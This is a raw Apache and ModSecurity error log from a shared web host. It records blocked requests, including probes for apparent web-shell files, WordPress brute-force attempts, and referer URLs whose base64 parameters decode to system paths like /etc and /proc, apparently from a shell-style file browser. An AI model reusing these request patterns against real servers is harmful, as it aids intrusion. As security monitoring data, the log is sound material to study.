https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:20.035703 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:20.092831 2026] [access_compat:error] [pid 531797:tid 531961] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:20.093241 2026] [access_compat:error] [pid 531797:tid 531961] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:20.099305 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.67:33857] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:20.099597 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.67:33857] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:20.131726 2026] [security2:error] [pid 531155:tid 531327] [client 191.233.234.186:54796] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/mg.php"] [unique_id "ai3w9CmiP80klyS0Nnrp-AAAATQ"] [Sat Jun 13 18:08:20.190703 2026] [security2:error] [pid 531155:tid 531169] [remote 17.241.75.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9CmiP80klyS0Nnrp-gABTQ0"] [Sat Jun 13 18:08:20.199556 2026] [security2:error] [pid 531797:tid 532096] [client 191.233.234.186:60609] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/h2a2ck.php"] [unique_id "ai3w9MTA7b1mZrmcA-8QnwAAAnU"] [Sat Jun 13 18:08:20.230913 2026] [access_compat:error] [pid 531797:tid 531942] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:20.231343 2026] [access_compat:error] [pid 531797:tid 531942] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:20.233762 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.104:55524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:20.234182 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.104:55524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:20.353556 2026] [security2:error] [pid 531797:tid 532012] [client 20.9.67.71:64741] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/yoy123.php"] [unique_id "ai3w9MTA7b1mZrmcA-8QrgAAAiQ"] [Sat Jun 13 18:08:20.536762 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:20.537054 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:20.559870 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:08:20.560260 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:08:20.568717 2026] [security2:error] [pid 531155:tid 531161] [remote 17.241.219.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9CmiP80klyS0NnrqCAABXwU"] [Sat Jun 13 18:08:20.627809 2026] [access_compat:error] [pid 531797:tid 531885] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9wb2xraXQtMQ== [Sat Jun 13 18:08:20.628143 2026] [access_compat:error] [pid 531797:tid 531885] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9wb2xraXQtMQ== [Sat Jun 13 18:08:20.670239 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.31:47714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:20.670545 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.31:47714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:20.706394 2026] [security2:error] [pid 531797:tid 531899] [remote 17.246.23.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9MTA7b1mZrmcA-8QuwACgCM"] [Sat Jun 13 18:08:20.809459 2026] [security2:error] [pid 531155:tid 531286] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation30.phpt"] [unique_id "ai3w9CmiP80klyS0NnrqDgAAAQs"] [Sat Jun 13 18:08:20.825298 2026] [security2:error] [pid 531797:tid 531976] [remote 50.201.58.218:48304] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.58.201.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nysas.org"] [uri "/wp-login.php"] [unique_id "ai3w9MTA7b1mZrmcA-8QwAACLW8"] [Sat Jun 13 18:08:21.003823 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:08:21.004114 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:08:21.100355 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:08:21.100634 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:08:21.153679 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:21.153957 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:21.303136 2026] [security2:error] [pid 531797:tid 532025] [client 172.56.168.133:41847] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w9cTA7b1mZrmcA-8QywAAAjE"] [Sat Jun 13 18:08:21.303248 2026] [security2:error] [pid 531797:tid 532025] [client 172.56.168.133:41847] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w9cTA7b1mZrmcA-8QywAAAjE"] [Sat Jun 13 18:08:21.471501 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.39:35464] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:21.471797 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.39:35464] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:21.579009 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:08:21.579292 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:08:21.614974 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:08:21.615249 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:08:21.705684 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2t2bQ== [Sat Jun 13 18:08:21.705956 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2t2bQ== [Sat Jun 13 18:08:21.765886 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.91:23498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:21.766160 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.91:23498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:21.807410 2026] [security2:error] [pid 531797:tid 531935] [remote 17.22.253.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9cTA7b1mZrmcA-8Q3QACJUc"] [Sat Jun 13 18:08:21.995876 2026] [security2:error] [pid 531155:tid 531333] [client 20.9.67.71:64738] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/fff.php"] [unique_id "ai3w9SmiP80klyS0NnrqJgAAATo"] [Sat Jun 13 18:08:22.085087 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:22.085536 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:22.141154 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:22.141633 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:22.210978 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvOTc0OTU2 [Sat Jun 13 18:08:22.211354 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvOTc0OTU2 [Sat Jun 13 18:08:22.322226 2026] [security2:error] [pid 531797:tid 532057] [client 20.151.217.54:48157] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/dczem.php"] [unique_id "ai3w9sTA7b1mZrmcA-8Q9AAAAk8"] [Sat Jun 13 18:08:22.347508 2026] [security2:error] [pid 531797:tid 531865] [remote 162.254.36.150:42878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "adbadvertising.com"] [uri "/wp-login.php"] [unique_id "ai3w9sTA7b1mZrmcA-8Q9QACRAE"] [Sat Jun 13 18:08:22.355437 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.64:32438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:22.355743 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.64:32438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:22.459241 2026] [security2:error] [pid 531797:tid 532078] [client 191.233.234.186:44777] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/777.php"] [unique_id "ai3w9sTA7b1mZrmcA-8Q_gAAAmQ"] [Sat Jun 13 18:08:22.560163 2026] [security2:error] [pid 531797:tid 531891] [remote 162.254.36.150:42878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "adbadvertising.com"] [uri "/wp-login.php"] [unique_id "ai3w9sTA7b1mZrmcA-8RBgACYxs"], referer: https://adbadvertising.com/wp-login.php [Sat Jun 13 18:08:22.562832 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.69:50010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:22.563133 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.69:50010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:22.598209 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:08:22.598521 2026] 